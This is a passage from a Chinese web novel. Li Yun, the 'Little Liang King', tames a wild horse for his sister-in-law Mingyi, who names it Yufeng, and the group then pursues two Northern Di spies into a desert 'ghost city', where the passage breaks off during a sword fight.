直到一个身高八尺的壮汉走出过来,声如洪钟般道:“我来!” 众人齐齐朝他看去。 “是史六!”有人轻呼道。 原本的马匹交易,到了这会儿已经变成了精彩绝伦的好戏,越来越多人围过来看热闹,都想知道今日谁能将这马儿驯服。 而这叫史六的人一来,围观的人们各个露出兴奋之色。 “这史六乃是专门为马商驯马的,天生神力,听说就没有他驯服不了的马。” 吴刺史不知何时无声无息凑到了两人身旁,低声道。 明宜闻言,也不免有些兴奋。 只见那史六将外袍脱掉,露出一身生机勃勃的腱子肉,他往那马儿身旁一站,倒显得那马儿有些矮小了些。 明宜忽然就有点为那马儿担忧。 然而那马儿依旧满脸得意,朝史六喷了一鼻子气,又昂头翻了个白眼。 明宜:“……” 这马不会是成精了吧? 史六一手握住缰绳,一手抓住马鞍。马儿像先前一样屁股一扭,朝人撞上去。 然而史六却像一座千斤顶一样,立在原地纹丝不动。 马儿见状,又扬起蹄子,朝人猛踹过来。 哪知这史六不仅壮硕,还十分矫捷,马儿连踢几脚,都被他轻易避开。 周围响起热烈的吆喝声。 “乖马儿!我要上来了哦!”史六朗声一笑,抬脚踩上马镫,顺利坐上马鞍。 又是一阵掌声响起。 却不料,史六还没坐定,那马儿忽然扬起前蹄,将身子直直竖起来。 众人倒吸一口冷气。 然而那史六不愧是驯马好手,在被甩下马背前,双手及时箍住了马脖子,将身体牢牢稳住。 “好——” 马儿似是被激怒,鼓起腮帮子,狠狠喷了两鼻子气,双目圆瞪,前脚一落地,后脚又扬起来。 史六连忙又改变了方向。 哪知这马儿速度极快,不等他反应过来,又立刻再扬起前蹄,然后重重朝地上倒去。 竟是打算用杀敌一千自损八百的招数,一屁股将背上的人压扁。 史六见状不对,也顾不得其他,赶紧松开抱着马脖子的手,狼狈地在地上滚了几圈,堪堪避开马背的重压。 马儿四脚朝天倒在地上,因为成功将人甩下,而欢快地嗷嗷了两声,又打了个滚,站起身得意地抖了抖鬃毛,还不忘朝刚刚喝彩的围观群众打了个响鼻。 明宜忍不住轻笑出声,这马儿真是成精了啊? “你喜欢这马?”正看得出神,李赟的声音忽然在她耳畔响起。 明宜一怔,继而又好笑道:“我可没本事驯服。” 李赟道:“我去试试。” 这匹马应该比那破袖箭珍贵。 说罢,便朝人群内走去。 “阿兄……”反应过来的明宜忙跟上去,拉住他的袍袖,“算了,太危险,为了一匹马受伤不划算。” 李赟低头看着她的纤纤素手,伸手覆在那光洁的手背,轻轻将其拿下来:“我有分寸。” 说着便转身走进去,朗声道:“我来!”—— 作者有话说:小凉王:都让开,我要开始装逼了 第53章 第 52 章 御风 一行人便装出行, 但李赟气度不凡,众人只以为他是世家贵公子,却不知他是小凉王。 马儿是畜生不是人, 再如何气度不凡, 在它眼中,也与其他人也没什么两样。 史六都驯服不了这野马, 难不成这贵公子能行? 不过器宇不凡的俏郎君, 被马儿踢飞的模样,人们还是很乐意观赏的。 果然, 当李赟靠近时, 那马儿依旧是满脸睥睨, 很是不驯, 一副誓要让你好看的架势。 李赟伸手去摸它的头,它脑袋一歪便躲开。 “郎君, 你当真要上马?”马商了解这马儿脾性, 经过史六那一遭,眼下正一肚子气,看这郎君穿着打扮, 只怕是贵人, 他可不想因为这野马惹上麻烦。 李赟看了眼那打着响鼻的马儿, 轻笑道:“放心,若摔伤了不会赖上你。” 马商轻咳一声,一边退开一边伸手道:“那郎君有请。” 李赟转头看了眼人群中满脸担忧的明宜,朝她点点头。 明宜确实有些担忧, 一来是担心李赟受伤,二来是担心若他若没能驯服这野马,回头传出去, 有损小凉王英明神武的名声。 当然,她内心深处其实还是想看看小凉王是否能驯服这野马。 那马儿被史六折腾了一遭,也没了先前玩乐的心思,见李赟握住缰绳,不等他靠近,便猛地连撞带踹冲上来。 他动作极快,力度大得在空中划出哗的一声。 围观众人惊呼出声。 明宜也被这怒气冲冲的马儿吓了一跳。 然而李赟比马儿更快,在这家伙撞过来时,他一手抓住辔头,脚下轻点,一跃而起,竟是没踩马镫,直接跃上了马鞍。 这姿势动作堪称赏心悦目,周围不由得爆发出一阵掌声。 明宜暗暗松了口气。 看来自己的担心属实有些多余了。 马儿似是怔了下,但很快反应过来,恼羞成怒般嗷嗷叫了两声,鼻子喷出的气直扇起地上一层沙尘。 它竖起前蹄站直,见无法将背上的人甩下来,便故技重施直直朝地上倒去。 李赟却没像史六那般,为躲开马儿这一压,狼狈地滚在地上,而是在马压下去前,飞快从马背跃下来,安然无恙站在马儿一旁,手中还依旧握着缰绳。 于是变成了人好好站着,马儿在地上狼狈打滚。 马儿一见不对,立刻又从地上起身,不想刚站直,李赟再次飞身上马。 “好——” 围观者终于意识到,这郎君的身手和驯马之术,远超史六,连马商也屏声静气望着,眼睛都不敢多眨一下。 他驯服这马靠的是好吃好喝供着,一路从西域过来,好几次想出手,但一直没遇到能将这马驯服的买家。 那马儿也是犟,一招不成,又换招数,摇头摆尾,扬蹄甩背,十八般武艺轮番上阵,然而就是没法将背上的人甩下来。 它想将人撞飞,却始终连人袍边都没碰上。 而等它倒在地上撒泼打滚时,背上的人又轻飘飘避开,牵着缰绳在一旁讥诮似的看着。 一番折腾下来,马儿鼓起的嘴巴泄了气,圆瞪的眼睛也耷拉下来,最终认命似的趴在地上,任由李赟施施然上马,然后缓缓驮着人站起来,老老实实站着再也不动。 而马背上的男人,除了发丝略微凌乱,袍角沾了些尘土,依旧是一开始器宇轩昂的模样。 只见他身姿笔挺,神色从容,俊美的面容,在午后阳光下熠熠生辉,与传闻中小凉王战神形象合二为一。 “郎君驯服野胡马啦!”有人激动高呼,掌声吆喝声一时不绝于耳。 明宜也忍不住兴奋地抬手拍了拍。 与此同时,李悆已经转头朝她遥遥看过来,嘴角微微勾了勾,是个掩饰不住的得意模样。 明宜也对他轻笑开。 李赟跳下马,伸手拍了拍马脑袋。 那马儿脑袋偏向一边,显然还有些不甘心,但却没再有任何反抗。 李赟让楚飞将银子递给马商,自己牵着马过来。 明宜笑道:“阿兄果然没让人失望。” 李赟挑挑眉头,将弯起的嘴角勉强压下去几分,拍拍马儿的脑袋,一副云淡风轻的模样:“喜欢吗?” 明宜看着那气鼓鼓的马儿,好笑地点点头:“嗯,喜欢。不过我现在也不敢骑。” “喜欢就好,先养在马厩里,待我驯好了,你再骑。” “那就有劳阿兄了。” “给它起个名字吧。” 明宜想了想,笑道:“胡野马擅长在沙漠中奔袭,乃是沙中宝驹,不如就叫沙骏好了,骏马的骏。” 李赟蹙了蹙眉头:“有些普通,换一个。” 明宜又说:“那叫沙御风,沙飞驰,沙上飞。”说着,看了眼桀骜不驯的马儿,“或者沙霸王?” 然后自己忍不住笑了。 李赟却依旧眉头微蹙,似乎并不觉得好笑,只淡声道:“非得带个沙字么?” 明宜一愣,忽然想起沙狼,莫非是因为他不喜欢沙狼,所以连马儿的名字都不愿带沙。 但她也不好问出口,不然显得小凉王多少有些小鸡肚肠。 “那要不然阿兄取一个吧?” 李赟瞥了眼马儿,似是随口道:“这是弟妹你喜欢的马,不如就叫宋小宝吧。” “……” 明宜轻咳一声:“这马儿如此厉害,我觉得名字应该威风一点。” “那就叫宋御风。” 为何就得跟我姓? 还没开口,又听李赟道:“叫李御风也行。” 明宜轻咳一声:“直接叫御风就好了。” “行。” 待一行人离开,还未散去的人群中,不知谁说了一句“刚刚是小凉王”。 “小凉王?” “难怪!” “小凉王果然名不虚传。” 于是关于小凉王的传闻又多了一遭。 * 马儿牵回去后,便关去了马厩。 明宜确实很喜欢这匹马,明明生得憨态可掬,却又野性难驯,实在是很有趣。 她也期望李赟帮忙驯好,好让自己早些骑上。 不过对方庶务繁忙,也不知要等到何时。 哪知刚用过晚膳,李赟便让人来传话,说他准备去刺史府的马场驯马,让她也一并去。 明宜自然欣然同行。 只是到了马厩,却见御风被李赟牵出来时,一脸蔫蔫状,分明是不情不愿。 明宜有些不忍道:“今天在马市折腾了那么久,御风估计也累了,要不然还是改天吧?” “这马能连续奔袭几日,马市那点动静,对它不值一提。” 李赟话音落,马儿便愤愤地打了个响鼻。 明宜见状,下意识伸手摸了摸马儿的头安抚。 没想到,那马儿竟然歪着脑袋,主动在她掌心蹭了蹭。 明宜顿时大喜,用力揉了揉马儿脑门:“御风,你真乖。” 御风又在她手上蹭了蹭,然后屈膝跪在地上,用脑袋在她腰间轻轻拱了拱。 “御风,你是让我坐上去么?”明宜笑问。 御风继续蹭她。 明宜惊喜地看向李赟:“阿兄,我想上马试试。” 也不等对方回应,她人已经坐上了马背。 而御风待她坐稳,便缓缓站起来。 李赟怕马儿发狂,紧紧牵着缰绳。 不料御风却歪头将缰绳叼在口中,用力往背上的明宜拉去。 “阿兄,你把缰绳给我吧。” 明宜还是有些紧张的,毕竟身下可是胡野马,然而当她将缰绳握在手中,身下马儿不仅没将她甩下去,还稳稳当当小跑起来。 “阿兄,这马儿不用你帮忙驯啦!”明宜坐在马背上大笑,说着伸手摸摸马儿的的脑袋,“御风,我们就在这里慢慢跑一圈,你便回马厩休息,我给你最好的草料。” 御风果然就只在马厩院子内慢悠悠踱了一圈,路过李赟时,还朝他打了个得意的响鼻。 一圈下来,明宜可谓是喜不自胜,抱着御风的脑袋摸了又摸,而御风则跟只大犬一样,亲昵地在她肩膀蹭了又蹭。 一旁的小凉王,脸都绿了。 他上午费那么大劲儿,有何意义? 明宜有了爱马,一时也忘了旁边还有人,自顾自地将马牵进马厩,又取来草料放了满满一槽。 御风吃得欢天喜地。 明宜心满意足地拍拍手,这才想起李赟来,转头道:“我先前还奇怪,这马儿如此难驯,那马商怎么驯服的?原来这马儿吃软不吃硬。” 李赟皮笑肉不笑哼了声。 明宜心道对方上午费了那么大力气将马驯服,现在忽然知道收服这马根本不用花力气,想来会觉得郁闷。 可这谁又能料到? 而且小凉王不也是出尽了风头。 她想了想,又说道:“若不是阿兄驯服御风,将它带回来,我们也不会知道,原来野胡马也可以用怀柔政策。” 李赟淡声道:“既然不去马场,弟妹就回去早点歇息吧。” 明宜点头:“嗯。” * 得了一支袖箭,有了一匹宝驹,明宜这两日心情相当不错。 很快,袖箭得心应手,御风相处甚欢。 正有些可惜派不上用场时,这天刚用过午膳,便收到消息,说有人发现了那假昙迦的下落。 果不其然,李赟很快便让楚飞请她过去。 “阿兄,什么情况?”她人还没进屋,已经迫不及待问道。 李赟正在整理革带上的小物件,已然是整装待发。 他抬头瞥了她一眼,道:“一支商队昨晚在东望村附近发现两人踪迹,不过那两人身手太厉害,商队不仅没能抓住人,还有几人死在其手中,余下人皆受重伤,幸好被东望村的人发现,才逃过一劫,不过也让那两人逃走了。村里不敢轻易出动,便差人传来求援。” “阿兄是要亲自过去?” “嗯。”李赟点头,“你……” 不等他说完,明宜已经飞快打断他:“我稍作准备,马上就能出发。” 说罢便折返出门,飞快回了自己房间。 李赟微微一怔,继而又有些好笑地摇摇头。 他原本是想说,让她安心在官舍等着,他很快便回来。 毕竟此番是去大漠抓人,且不提危机四伏,光是在沙海骑马奔袭,便是一桩苦差事。 她到底是个女子,自己将她诓来沙洲,已是不怜香惜玉,这些苦差事,自然不想让她一同前往。 但这些天下来,她显然心思已经有些野了,往常还装模做样试探一下,眼下却是想也不想便要同行。 罢了,既然人已经留在河西,那她便不再是长安城中那娇弱的蔷薇,而是沙洲中的荆棘。 明宜迅速绾好发髻,换上方便的衣裳,系好袖箭,又灌了水囊,装上干粮,交代白芷安心待在官舍,便急匆匆出了门。 去大漠抓人不是易事,白芷跟着去,不过是白白受苦。 她这趟出行的坐骑,自然就是御风。 在马厩待了两日,御风可算是闷坏了,一出城边摇头摆尾,撒丫子狂奔。 别看它比李赟等人的高头大马,矮了整整一头,但四条健壮的短腿,拨弄得极快,简直是跑出了残影。 又因它马矮腿短,跑起来不如高马颠簸,因而不管跑得多快,都是稳稳当当,明宜丝毫不担心自己会被颠下马背。 虽然比所有马都跑得快,但御风通灵性,并不擅自脱离队伍,跑一会儿便稍稍减缓速度,等后面的人马跟上,然后打着响鼻,表示自己的不屑。 明宜心道自己做人惯会低调,没想到却得了这样一匹张扬的马儿。 一行人一路疾行,赶在日暮时分,抵达了东望村。 “小凉王殿下!” 老族长早已带着人在村口恭候,不待人下马,便亟不可待迎上来。 李赟上前行了个礼:“族长,好久不见了。” 老族长拱手道:“快先进来喝杯茶水。” 李赟率领众人随其进村。 这东望村虽位于大漠腹地,村民却大都生着中原面孔,做中原打扮。 原来是一百年前,朝廷率十万大军从长安出发西征,却出师不利,主帅丢下被俘虏的先头兵慌忙撤退。 这些先头军被掳去北狄为了奴,最终只剩下百余人活下来。而这百余人,终于在一日寻得机会,从北狄逃走,一路逃到沙洲,却再无余力继续东行,又听闻朝廷改朝换代,便在最后落脚的绿洲定居下来,取名东望村。 繁衍生息近百年,已有几百人。 村中有驿站集市,是这大漠上,最为繁华热闹的村落之一。 因是西征军之后,村中老少皆习武,看到悬赏告示,村中壮年男子,便出动去寻人,没想到其中一队人马,便撞上被重创的商队。 “这商队二十余人,皆习武,却被那两个细作杀了六人,余下人虽无性命之虞,却也都受重伤。老朽怕孩子们出事,便将出去的人全都召回村中,只等官府做安排,眼下小凉王亲自前来,我们也没什么好担心的了。” 老族长一边吩咐人来上茶水,一边与李赟报告。 快马加鞭半日,众人也都饥渴交加,几壶茶水很快被喝得精光,又对着送来的胡饼羊汤,一顿大嚼。 明宜也饿了,反正也是男子打扮,便肆无忌惮敞开了吃。 倒是李赟,只是简单吃了几口,便继续问道:“最后见到那两人的是受伤的胡商?” “嗯,就在村子往西大约十里地。” “胡商人呢?” “老朽已安排在驿站房中休息。” 李赟放下汤碗:“我去瞧瞧。” “王爷请随我来。” 李赟站起身,低头瞅了眼依旧埋头苦吃的明宜,轻咳一声。 明宜闻声抬头看向他。 李赟淡声道:“你一起来。” “哦。” 明宜连忙放下碗,擦擦手跟上他。 驿舍就在旁边,族长领着几人进去,果然见到伤痕累累的十余人,正躺在地上休息。 “各位,这是我们大宁的小凉王。” 几人忙要起身拜见,被李赟挥手阻止:“都躺着吧,我就是来问几句话。” 其中一个稍稍年迈的男人坐起来拱了拱手:“小凉王请问。” “那两人可有骑马?” 男人点头:“原本骑着马,但那马被我们射杀,后来他们听闻村民赶过来,逃走时并未有坐骑,所以我们料想,应该逃不远。” 李赟点点头,又问:“他们只有两人便将你们重创至此?” 那男人叹了口气:“我们在大漠上看到两个人骑马而行,便怀疑是悬赏令上的北狄细作。我们商队皆习武,不敢说身手多好,但行走沙海多年,寻常沙匪都未放在眼中,正要上前捉拿看个究竟,哪知两人身手如此厉害,不过片刻,就斩杀我们六人,眼见剩余人也小命不保,幸而东望村的人听到动静,赶了过来,那两人闻声便逃走了。”说着又拱手道,“如今小凉王亲自前来,我们也放心了。” 李赟扫了眼众人,淡声道:“你们好好养伤。” 说罢便转身出门。 明宜也不动声色扫了眼众人,没看出什么问题,便跟着他出了门。 只是人在门口,忽然觉得如芒在背,一转头,却又只有狼狈不堪的一众胡商,什么都没发现,她只能怀疑是自己的错觉—— 作者有话说:马年给马加点戏哈 男二:我呢? 作者:你已经不是男二了。 第54章 第 53 章 鬼城 “族长大人, 您以为那两人如今没了坐骑,能躲在哪里?” 老族长拱手回道:“依草民之见,那两个北狄贼子十有八九正躲在五十里外的那座鬼城。” “鬼城?” “嗯。”老族长点头, “那座鬼城与大漠上其他鬼城不同, 不仅怪石林立,那巨大怪石上还有一些小洞穴, 可供人躲避沙暴和寒风。而且那鬼城足有半座城大, 地形复杂,宛如迷宫一般, 实在是个很好的藏身之地。” 李赟问:“村里可有对鬼城熟悉的人?” 老族长笑道:“虽然寻常人不敢去那鬼城, 但村里难免有一两个胆大的, 去里面钻过很多回。” 李赟笑:“那就请这两个胆大的为我们带路吧。” 老族长道:“嗯, 我这就差人去请。” 李赟又侧头看向明宜,低声问:“你要不然就待在村里等着?” 明宜摸摸鼻子小声道:“我也想去看看鬼城。” 李赟低低笑了声。 几人走出驿站, 便见几个精壮的少年郎, 快步朝这边走过来。 老族长招招手道:“阿蒙阿聪,快过来见过小凉王殿下。” 走在最前面的两个少年,满脸激动地上前作揖道:“草民见过小凉王殿下。” “免礼。” 老族长道:“小凉王要亲自去西面那鬼城捉拿北狄细作, 村中只有你俩常偷去鬼城游荡, 今日便由你俩给小凉王带路, 定要将人好好带去带回。” 两个少年喜不自胜,拍拍胸脯大声道:“族长放心,我们定不辱使命。” 李赟朗声笑道:“好,若是今晚能让那两个北狄贼子伏诛, 五百两赏金分你们二人一半。” 两人闻言更是乐开了花。 与此同时,只见老族长冷不丁抬手唤道:“沙狼——你可也要去鬼城?” 李赟顺着老族长的手看去,果然见对面廊檐下看热闹的人群中, 站着一个双手抱刀的高大男人。 不是沙狼,还能是谁? 于是小凉王脸上还未散去的笑容,顿时凝固。 明宜自然也瞧见了沙狼,却是满脸欢喜道:“沙狼,你也在这里?” 陆浪挑挑眉头,越过人群走过来,敷衍地朝李赟拱了拱手:“草民见过小凉王殿下。” 李赟扯了下嘴角::“你倒是速度挺快。” “还行。”陆浪轻笑道,又看向明宜,低声道,“侯夫人也来了?” “嗯。”明宜点头,“你在正好,多个人多一分胜算。” 话音落,便听李赟冷哼一声:“河西军缉拿北狄细作,闲杂人不得干扰。” 陆浪啧了一声:“小凉王这话说的,白纸黑字悬赏令铺满沙洲,眼见人已经有了踪影,您却不让人去捉了,这要是传出去,还以为您这是与民争利呢?日后公门再发悬赏,只怕都没人敢揭了吧?” 李赟觑眼看他,扯了下嘴角:“你想跟着也行,至于能不能捉到贼人,拿到悬赏,就得看你的本事了。” 他也正好想见识一番此人到底有几分本事。 陆浪朝明宜使了个眼色,颇有只有两人能看懂的意思。 只是还不等明宜回应,视线便被一道高大身影挡住。 李赟站在明宜跟前,冷冷瞥了眼陆浪,随手将身后的人牵起:“我们走!” 明宜一愣,还没反应过来,人已经被他拖走。 陆浪目光落在女人手腕上那只大手,撇了撇嘴角,玩世不恭的脸上,浮上几分显而易见的冷色。 李赟步子很大,明宜踉踉跄跄了几步,才勉强跟上,反应过来对方在众目睽睽之下抓着自己的手,赶紧挣开。 大庭广众之下,大伯哥和弟妹拉拉扯扯成何体统? 她看了眼李赟,对方显然并未意识到方才举止有何不妥。 她只当他是不拘小节。 到了村口,明宜刚骑上御风,跟着众人上路,原本一马当先的御风,忽然嘶鸣一声,猛地掉过头往回跑。 明宜赶紧拽拉缰绳,叫道:“御风,你要作甚?” 转眼间,御风已经穿过一队人马,来到最后,停在一匹与它差不多高的枣红色矮子马旁,亲昵地用脑袋蹭了蹭示好。 这马正是陆浪的坐骑。 他轻笑一声道:“哟,侯夫人,你的宝驹,好像看上我的马儿了。”说着拍拍马儿脑袋,“芙蓉,还不快回应?” 明宜好奇道:“你这是母马?” “嗯。”陆浪摸摸马儿的头,“别看芙蓉是母马,个头也不高,但有劲儿的很,一口气能跑一个时辰不停歇。” 说着扬鞭一挥:“芙蓉,我们走!” 芙蓉一跑,御风也赶紧撒丫子跟上。 也许同为矮子马的缘故,两匹马颇有些惺惺相惜的架势,跑动时,只恨不得贴着对方。 马儿齐头并进,马上的人自然也是并肩而行。 李赟看着忽然从马群中蹿出去的两道身影,额角突突直跳。 “驾!” 他用力扬鞭,试图让身下这乌黑油亮的高头大马,插入两匹矮子马当中,但芙蓉和御风寸步不让。 尤其是御风,对李赟身下这种马中美男,向来敌视,生怕芙蓉被抢走。 它怕马背上的小凉王,难道还怕他身下的马? 惹急了它,不仅猛打响鼻,还直接伸脚去踹。 李赟挑的马,自然也不是什么善马,挨上一脚,便要加倍奉还。得幸亏御风机灵,躲得飞快。 陆浪见状笑着朗声道:“王爷,我的芙蓉和侯夫人的御风,你情我愿看对了眼,你何必要来棒打鸳鸯?” 明宜也迎着风道:“阿兄,你别过来了,有沙狼在,我和御风不会跑丢的。” 李赟只觉一口浊气被堵在胸口,却也只能悻悻然跑在一旁。 * 好在五十里不算远,快马加鞭不过半个时辰。 却也到了夜幕降临。 好在今晚是个月圆夜,月光映照在漫漫黄沙之上,不需灯火也能看清大概。 明宜下意识看了眼天空中的圆月,这才意识到,原来从凉州出发到现在,不知不觉已过去快一个月。 “侯夫人,下来吧,将御风与芙蓉拴在一起。” 明宜从善如流下了马,御风自己就叼着绳儿凑到了芙蓉身旁。 “你进过这座鬼城么?”明宜走到陆浪跟前随口问道。 “没有。”陆浪摇头,“大漠流传着一句话,宁可遇沙暴,不进魔鬼城,魔鬼城,魔鬼城,只闻鬼哭号,不见人语声,进去还是人,出来便成鬼。” 明宜笑问:“怎么?你也信这些?阿蒙阿聪不是经常去么?” 鬼城,又叫魔鬼城,除了怪石林立,宛若城池一般,一到晚上,便会响起瘆人的鬼哭狼嚎声。但明宜知道,那是因为鬼城多在风口,那鬼哭声乃是风吹砂砾击打山石发出的动静。 陆浪道:“我虽不信怪力乱神,但行走大漠,总还是要对鬼神之说,有点畏惧之心。而且不管有没有鬼,这种地方定然都危险。” 说到对鬼神的畏惧,明宜不由得想起李赟。 这厮可是敢在佛堂里杀人的。 想来是毫无畏惧。 但他却怕黑。 思及此,她自顾自地笑了声。 “怎么了?”陆浪见状好奇问。 明宜摇头,下意识砖头,朝李赟看去。 对方不知何时已经下马,正站在骏马身旁,一动不动望着自己这边。 明宜心下一惊,想起他和陆浪一向不对付,自己跟陆浪走这么近,对方只怕会不高兴。 于是赶紧小跑过去,唤了声:“阿兄!” 李赟皮笑肉不笑哼了声。 明宜:“……” 好在阿蒙阿聪适时走过来拱手道:“王爷,这边走!” 李赟点点头,这才看了眼明宜:“跟紧点,别走丢了。” “明白。”明宜点头。 鬼城内地势复杂,不便马匹行走,众人只能步行。 明宜亦步亦趋跟在李赟身旁。 虽然不信鬼神之说,但毕竟听了太多邪门传闻,里面又可能藏着两个危险性极高的北狄细作,还是尽可能靠近小凉王更安全。 思及此,她又靠近了几分,几乎是贴在对方右侧边。 李赟感觉到女人的靠近,若有若无的馨香钻入鼻息,先前的一肚子火,才勉强散去大半。 呼呼的夜风,卷起砂砾石子,撞在岩壁上,当真像是有鬼哭狼嚎从阴曹地府传来。 身后一众凉王亲兵,都是跟着李赟出生入死的,可头回入鬼城,也还是有些发怵。 阿蒙阿聪虽然来过这鬼城多次,却都是白天,晚上进来也还是第一次。 以至于阿蒙再开口时,声音都有些打颤。 “殿下,能让人藏身的洞穴,主要在北面,往前走个半刻钟就到了。” “嗯。”李赟轻描淡写点头。 要说这队伍中,谁一点惧色都无,那定然只有小凉王了。 他听出阿蒙的胆怯,忽然想到什么似的,侧头伸出手,低声道:“弟妹若是害怕,牵着我的手便好。” 明宜:“……我还好。”顿了下,又脑抽地脱口问道,“阿兄,天这么黑,你怕吗?” 问完就有点想抽自己一巴掌。 果不其然,听到李赟颇有几分咬牙切齿地回应:“多谢弟妹关心,我不怕。” 明宜弱弱地找补道:“我是说你怕不怕天色这么黑,那两个细作躲在暗处,忽然对我们偷袭?” 但显然是欲盖弥彰。 这几天下来,她对那日李赟在石室内怪疾发作一事只字不提,但不代表没有发生,也不代表对方不在意。 但她发誓,她刚刚脱口而出,并不是真的觉得小凉王会怕黑,只是以防万一罢了,毕竟众人安危都与他息息相关。 不料,她话音刚落,前方石壁上方,忽然一道黑影,从月色下闪过。 李赟猛地拔出手中大刀,丢下一句:“你随阿蒙阿聪躲好。”又高声朝众部下喊道,“人就在前方,上下各一队人马,分三路包抄!” 说罢,轻轻一跃,脚下蹬在身侧石壁,眨眼间已经跃上数丈高的岩壁顶上。 凉王亲兵们也随之跟上,迅速分为三路,一半与他一样,跃上石壁之上,另一半继续在地上前行。 这鬼城里,有没有鬼不好说,但这些身姿矫捷,阵型整齐的凉王亲兵,倒是活脱脱的月下鬼魅一般。 明宜也算第一次真正见识了,传闻中的小凉王麾下神兵。 顷刻间,几十人已消失在月色下,连带沙狼也不见了踪影,只留下阿蒙阿聪,以及三个保护明宜的侍卫。 阿蒙睁大眼睛,满脸崇敬地感叹道:“这就是凉王亲兵么?真是太威风了!” 阿聪在一旁附和:“那还是小凉王更威风,你没看到刚刚那反应?我看神仙也就这速度。” 明宜:“……” 话虽如此,但也实在有些吹捧之嫌—— 作者有话说:两个矮子马先谈上了 第55章 第 54 章 却也让两个男人心神都为…… 明宜想了想道:“我也去前面看看。” 阿蒙忙道:“侯夫人, 万万不可,前面地形复杂,我们白天进去, 都要转许久才能出来, 万一不小心撞上那北狄贼人就麻烦了。还是在这里等着王爷将人捉了再动。” 来都来了,明宜哪甘心在这里枯等, 她看了看岩壁, 道:“你们与我说说,里面大概是什么样子?” 要说两人对鬼城迷宫一样的地形一清二楚, 那定然也说不上, 不过毕竟进出多次, 也知道个大概。 听了两人一顿比划, 明宜点点头:“行,我知道了, 你们在这里等着, 我去瞧瞧。” 几个侍卫忙要跟上,被她抬手制止:“你们别跟着,人多目标大, 我一个人好藏身。” 说着, 便攀上身旁岩壁, 虽不及小凉王和他一众亲兵迅猛,但她身为女子,身姿轻巧如燕,竟也是轻轻松松攀上岩壁上方。 几个侍卫大惊失色。 侯夫人不是贤淑静雅的长安高门贵女么?怎么还有这一手? 但这些侍卫也不傻, 他们小凉王既然让侯夫人随行,想来也是因为侯夫人不是寻常女子。 所谓人不可貌相。 因是月圆之夜,虽然这鬼城之内影影绰绰, 但毕竟只有这么大一块,站在高处,很快隐约看到不远处的动静。 乌泱泱三队人马,正朝前方两道黑影逼近。 那两道身影在迷宫一样的石头林中上上下下飞窜,行动方向诡谲,根本猜不到他们下一刻会转向哪里。 也因如此,他们很快甩开了追兵,确切地说是,甩开了大部队,却还有两道身影死死咬着他们不放。 这两人不是别人,正是小凉王和沙狼。 只是很快也都消失在迷宫一样的鬼城腹地。 “哪里逃!”眼见前方出现一处空旷之地,没了藏身所,李赟大喝一声,几个飞掠,便挡在两人前方。 两人赶紧往回撤,然而退了几步,却见回头路也被一道身影挡住。 但因为其余人并未追上,这两人也便稍稍放松,没再一心奔逃。 陆浪左手拔出刀,高声道:“王爷,我们一人一个,我拿一半赏金如何?” 李赟道:“用不着!” 假昙迦如今露出本来模样,原是个五十上下的中年人,那明心也没易容,依旧是千佛洞的小僧模样。 两人也看清了这两个难缠的追兵。 假昙迦大笑道:“明心,咱们今日死在这里无妨,只要能把小凉王的头颅取下,便是为小可汗除掉心头大患,你我皆功德无量。” “取我头颅?”李赟冷笑一声,“那也看你们有没有这个本事?” 说罢,人已提刀跃至两人跟前。 他动作迅捷如闪电,手中大刀裹挟着雷霆之势。 换做寻常习武之人,只怕顷刻间已成了他刀下鬼,然而这两人反应却远超常人,竟是轻而易举齐齐避开。 两人如同连体人一般背靠背,不给对手留半点破绽。 假昙迦低声道:“小凉王这把刀名唤镇山海,重五十斤,其刀法乃朱邪氏祖传,迅猛刚劲,是战场杀人技,擅攻不擅守,你避其右路,攻其左路。” 明心未说话,但身形招式却迅速转变,在李赟大刀再次挥下时,他抵住假昙迦的背,退后两步躲开攻击,又忽然一个闪身逼近李赟左侧,手中软剑游龙一般,刺向对方左腹。 他动作极快,攻击的正是小凉王薄弱之处。 李赟要用刀挡却已来不及,只能飞快往后连退两丈,大刀猛杵地面,才堪堪稳住踉跄的脚步。 一旁观战的陆浪朗声笑:“坊间传闻小凉王以一敌百,看来名不副实啊!” 说罢,他脚下蹭起一阵沙尘,猛然跃起,挥刀冲向两人。 假昙迦和明心被逼得节节后退。 “沙洲第一刀,不取好人命,只饮恶人血,刀法狂放不羁,诡谲多变,但所谓万变不离其宗,处处留着大宁大内影子,看似没破绽,但习惯心慈手软留一线,便处处是破绽。” “明心,破!” 只见明心手中软剑,像是蛇信子一样,忽然卷住陆浪手中刀刃,竟让他一时抽不回,而就在他怔忡的刹那,软剑忽然又如利箭般射出,直直逼上他胸口。 好在他反应快,在剑刃刺入胸口前,人已经退到了两丈开外。 他低头一看,被划开的胸襟内,露出一道血痕,不由得倒吸了口冷气。 那边李赟冷笑一声:“看来沙洲第一刀也不过如此嘛!” 陆浪好笑道:“没想到我沙狼,竟也有被人说心慈手软的一天。” 语气虽然玩世不恭,心中却暗暗讶异,这假昙迦果然不一般,轻而易举便看出他和李赟的弱点,而那明心武功又深不可测,随时能改变招式。 与他一样想法的,还有李赟。 且他已看出来,明心乃是一把剑,假昙迦则是持剑之人。只有将人与剑分开,才能快速取胜。 他浓眉微蹙,再次挥刀上前。 小凉王的刀与沙狼不同,他的刀杀人饮血,不分善恶,所以招招毙命。 这回他的攻势更甚。 两人一时只能勉强防守,再无进攻余地。 只是无论李赟如何攻,这两人始终人剑合一,牢不可分。 而二防一,总能防得住的。 那假昙迦实在是多智近妖,而明心身手又仿佛有无限可能。 李赟再刚猛的刀法,最终都被两人配合着一一化解。 一旁观战的沙狼,眯了眯眼,一边提刀上前一边道:“算了,一半赏金我也不要了,我得杀了此人让他收回说我心慈手软的话。” 他的加入,变成二对二。 而对方两人实则只是一人,局势瞬间又大变,两个北狄细作转眼便被压制住,连防守都变得困难。 可不过片刻,便只听那假昙迦道:“明心,别慌,这两人刀法路数大相径庭,以子之矛攻子之盾。” 果不其然,两人一个闪身,李赟和陆浪的刀,在空中交接,震得彼此手腕一麻,忙不迭各自退后几步。 陆浪喘着气吊儿郎当道:“小凉王,你要和我比试,换个时候,眼下是真不合适!” “你不行,就滚远点,少给我添乱!”李赟觑他一眼,再次提刀上前。 陆浪轻笑一声,紧随其上:“那可真不好意思,这两人的人头我也想要。” 这小小山谷一般的小小空地,兵戎交接,铮铮作响,却都被化为鬼哭狼嚎的风沙声湮没,凉王亲兵们就在不远处,却始终找不到北狄细作和小凉王的身影,只能如无头苍蝇般在这迷宫般的鬼城中乱转。 与此同时,明宜根据阿蒙阿聪所述鬼城地形,试探着推测出细作逃跑路线。 原本也只是试一试,却不料摸到一处岩壁上方时,忽然听到右手边的夜风呼啸声,与别处似是不大一样,好像还夹杂着一点别的东西。 她小心翼翼循声探过去。 